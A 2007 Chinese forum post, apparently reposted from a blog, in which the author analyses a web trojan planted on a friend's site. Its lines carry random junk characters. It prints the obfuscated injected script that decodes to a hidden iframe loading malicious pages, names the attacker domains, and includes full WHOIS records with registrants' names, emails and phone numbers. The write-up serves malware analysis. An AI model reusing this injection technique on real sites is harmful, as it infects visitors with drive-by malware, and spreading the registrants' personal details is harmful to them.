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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, #HDP ha  
5[y+X|Am  
http://www.areway.cn/?p=175 ^ 0.`1$  
:\Q#W4~p  
6e>P!bo  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: !aB~G}'  
          i@`qam   
<script>t=’60,105,102,114,97,109,101, vw6>eT  
32,115,114,99,61,104,116,116,112,58,47,47, yUjkRT&h  
102,114,101,101,46,117,45,117,117,117,46,99, Q7#t#XM  
110,47,101,114,114,111,114,46,104,116,109, ~ <36vsk  
32,119,105,100,116,104,61,49,48,48,32,104, od)ssL&E~  
101,105,103,104,116,61,48,62,60,47,105,102, dv Vz#  
114,97,109,101,62′; mclV" ?  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> s:K'I7_#@  
                                                                                                  F%f)oq`B  
<script>t=’60,105,102,114,97,109,101,32,115, %Yt;)q3U  
114,99,61,104,116,116,112,58,47,47,102,114, p\P)    
101,101,46,117,45,117,117,117,46,99,110,47, <A(Bq'eQM  
101,114,114,111,114,46,104,116,109,32,119, WjBH2v  
105,100,116,104,61,49,48,48,32,104,101,105, -TMg9M4  
103,104,116,61,48,62,60,47,105,102,114,97, -^Qm_lN  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); "l{{H&d  
document.write(t);</script> %'uei4   
                                                                                                  m3~_uc/+D  
<html xmlns=” 4T]A! y{  
http://www.w3.org/1999/xhtml 6e S~*  
“> uPy5<c  
<head> U.WXh(`%  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> OZ33w-X<  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> U[?f@.&  
<title>首页 - 爱生活家庭网 GExr] 2r  
                                                                                                                                                    o%!s/Z1  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 b<%c ]z  
转换字符串后的大概内容是(谁点击后果自付): ^T#jBqe  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… xI_0`@do  
                                                                                                                                  |c>.xt~  
查询玉米u-uuu.cn的详细信息: Zoy)2E{  
Domain Name: u-uuu.cn X~cdM1z?  
ROID: 20070901s10001s64972306-cn FJ{/EloF  
Domain Status: ok AhkDLm+  
Registrant Organization: 王雷 b0/YX@  
Registrant Name: 王雷 LJ6l3)tpD  
Administrative Email: czlovexs@126.com CpB,L  
Sponsoring Registrar: 北京万网志成科技有限公司 +|x{?%.O  
Name Server:ns.yovole.com .4ZOm'ko{  
Name Server:ns1.yovole.com (d/!M n6L  
Registration Date: 2007-09-01 17:54 uq/Fapl  
Expiration Date: 2008-09-01 17:54 :`4F0  
最后PING了一下地址 都没有什么…. 5$$# d_Gj  
                                                                                                ?6]B6  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. peHjKK  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> UM`{V5NG#  
<script language=”javascript” src=” O c.fvP^ZD  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script puLgc$?  
> bT6VxbNS  
这个玉米应该有可能是木马作者的: t(dVd%   
foafau.info的详细信息: f[ 2PAz  
Access to INFO WHOIS information is provided to assist persons in 6Xz d> 5x  
determining the contents of a domain name registration record in the ]28j$)6  
Afilias registry database. The data in this record is provided by #.!#"8{0_  
Afilias Limited for informational purposes only, and Afilias does not 'oK o F  
guarantee its accuracy.  This service is intended only for query-based 2;j<{'  
access. You agree that you will use this data only for lawful purposes V= -  
and that, under no circumstances will you use this data to: (a) allow, *dxm|F98  
enable, or otherwise support the transmission by e-mail, telephone, or TtF+~K  
facsimile of mass unsolicited, commercial advertising or solicitations [V>s]c<4`o  
to entities other than the data recipient’s own existing customers; or Alo L+eN@  
(b) enable high volume, automated, electronic processes that send YQ.ci4.f  
queries or data to the systems of Registry Operator, a Registrar, or {F2Rv  
Afilias except as reasonably necessary to register domain names or 4lWqQVx  
modify existing registrations. All rights reserved. Afilias reserves ya{`gjIlW  
the right to modify these terms at any time. By submitting this query, 1Y&W>p  
you agree to abide by this policy. i]N<xcF9N*  
Domain ID:D22418703-LRMS kG{};Vm  
Domain Name:FOAFAU.INFO [u$|/  
Created On:20-Nov-2007 16:05:42 UTC ]8fn1Hx\  
Last Updated On:20-Nov-2007 16:05:44 UTC @HiGc^ X(  
Expiration Date:20-Nov-2008 16:05:42 UTC 6%h%h: e  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) x.Egl4b3  
Status:CLIENT DELETE PROHIBITED nGe4IY\-w  
Status:CLIENT RENEW PROHIBITED Z'>UR.g  
Status:CLIENT TRANSFER PROHIBITED 2m]4  
Status:CLIENT UPDATE PROHIBITED j7MUA#6$  
Status:TRANSFER PROHIBITED cc*?4C/t  
Registrant ID:GODA-040110615 LSA6*Q51  
Registrant Name:liu hong ZG2EOy  
Registrant Organization:  ?ueL'4Mm  
Registrant Street1:beijing V8):!  
Registrant Street2: xs\<!  
Registrant Street3: < K!r\^  
Registrant City:beijing l`N4P  
Registrant State/Province: $ZGup"z)  
Registrant Postal Code:100000 MZ&.{SY7  
Registrant Country:CN ~?Vod|>  
Registrant Phone:+86.860108888777 u6F>o+Td)  
Registrant Phone Ext.: wn?oHz*  
Registrant FAX: R.*;] R>M  
Registrant FAX Ext.: zn 0y`9!n?  
Registrant Email:bbbshiji@163.com = g &  
Admin ID:GODA-240110615 .:f ao'  
Admin Name:liu hong R[v0T/  
Admin Organization: ?g{[U0)  
Admin Street1:beijing K<:%ofB"S  
Admin Street2: iAQ[;M 3p  
Admin Street3: vR:#g;mnk  
Admin City:beijing LwRzzgt  
Admin State/Province: C5-u86F  
Admin Postal Code:100000 ^7/v[J<<  
Admin Country:CN 'DVn /3?X  
Admin Phone:+86.860108888777 t`E5bWG  
Admin Phone Ext.: 3))CD,|  
Admin FAX: &_-=(rK  
Admin FAX Ext.: p?>J86%[  
Admin Email:bbbshiji@163.com fcEm :jEZ*  
Billing ID:GODA-340110615 7Z`4Kdh .  
Billing Name:liu hong Z2m^yRQ(  
Billing Organization: esA^-$  
Billing Street1:beijing WN{8gL&y  
Billing Street2: 6]%=q)oL[  
Billing Street3: hWbu Z%  
Billing City:beijing :t!J 9  
Billing State/Province: lqv}~MC  
Billing Postal Code:100000 -e(<Jd_=  
Billing Country:CN 6Aqv*<1=62  
Billing Phone:+86.860108888777 ?]Hs~n-  
Billing Phone Ext.: }wn|2K'  
Billing FAX: YT oG'#qs  
Billing FAX Ext.: zeQ~'ao<  
Billing Email:bbbshiji@163.com q6$6:L,<  
Tech ID:GODA-140110615 1}|y^oB\-  
Tech Name:liu hong ]^.`}Y=`g  
Tech Organization: #&IrCq+  
Tech Street1:beijing Cj3Xp~  
Tech Street2: ;kZD>G8  
Tech Street3: Gdb0e]Vt+  
Tech City:beijing `Zo5!"'  
Tech State/Province: paD[4L?4Hk  
Tech Postal Code:100000 6x(b/`VW  
Tech Country:CN q1 q~%+Jy  
Tech Phone:+86.860108888777 rwUhNth-Qh  
Tech Phone Ext.: j -o  
Tech FAX: |tI{MztJ"c  
Tech FAX Ext.: c/bT5TIEWs  
Tech Email:bbbshiji@163.com 1_LKqBgo  
Name Server:NS27.DOMAINCONTROL.COM 7mi*#X}  
Name Server:NS28.DOMAINCONTROL.COM vFJ4`Gjw(  
Name Server: Ja*,ht(5  
Name Server: mD +9/O!  
Name Server: $aTo9{M^  
Name Server: 8i`T?KB  
Name Server: XU}i<5  
Name Server: 9mMQ  
Name Server: l>`S<rGe  
Name Server: oSMIWwg7G  
Name Server: b4$.uLY  
Name Server: N/{=j  
Name Server: x?{l<mc  
                                                                                                          NPBOG1q%  
接着下载每个文件里面的代码: r\b$/:y<e  
一步一步看.. 9} C(M?d  
j/uMSE  
@Kbj:S ;m  
T`v  
*yI( (G/  
fF/;BSq'  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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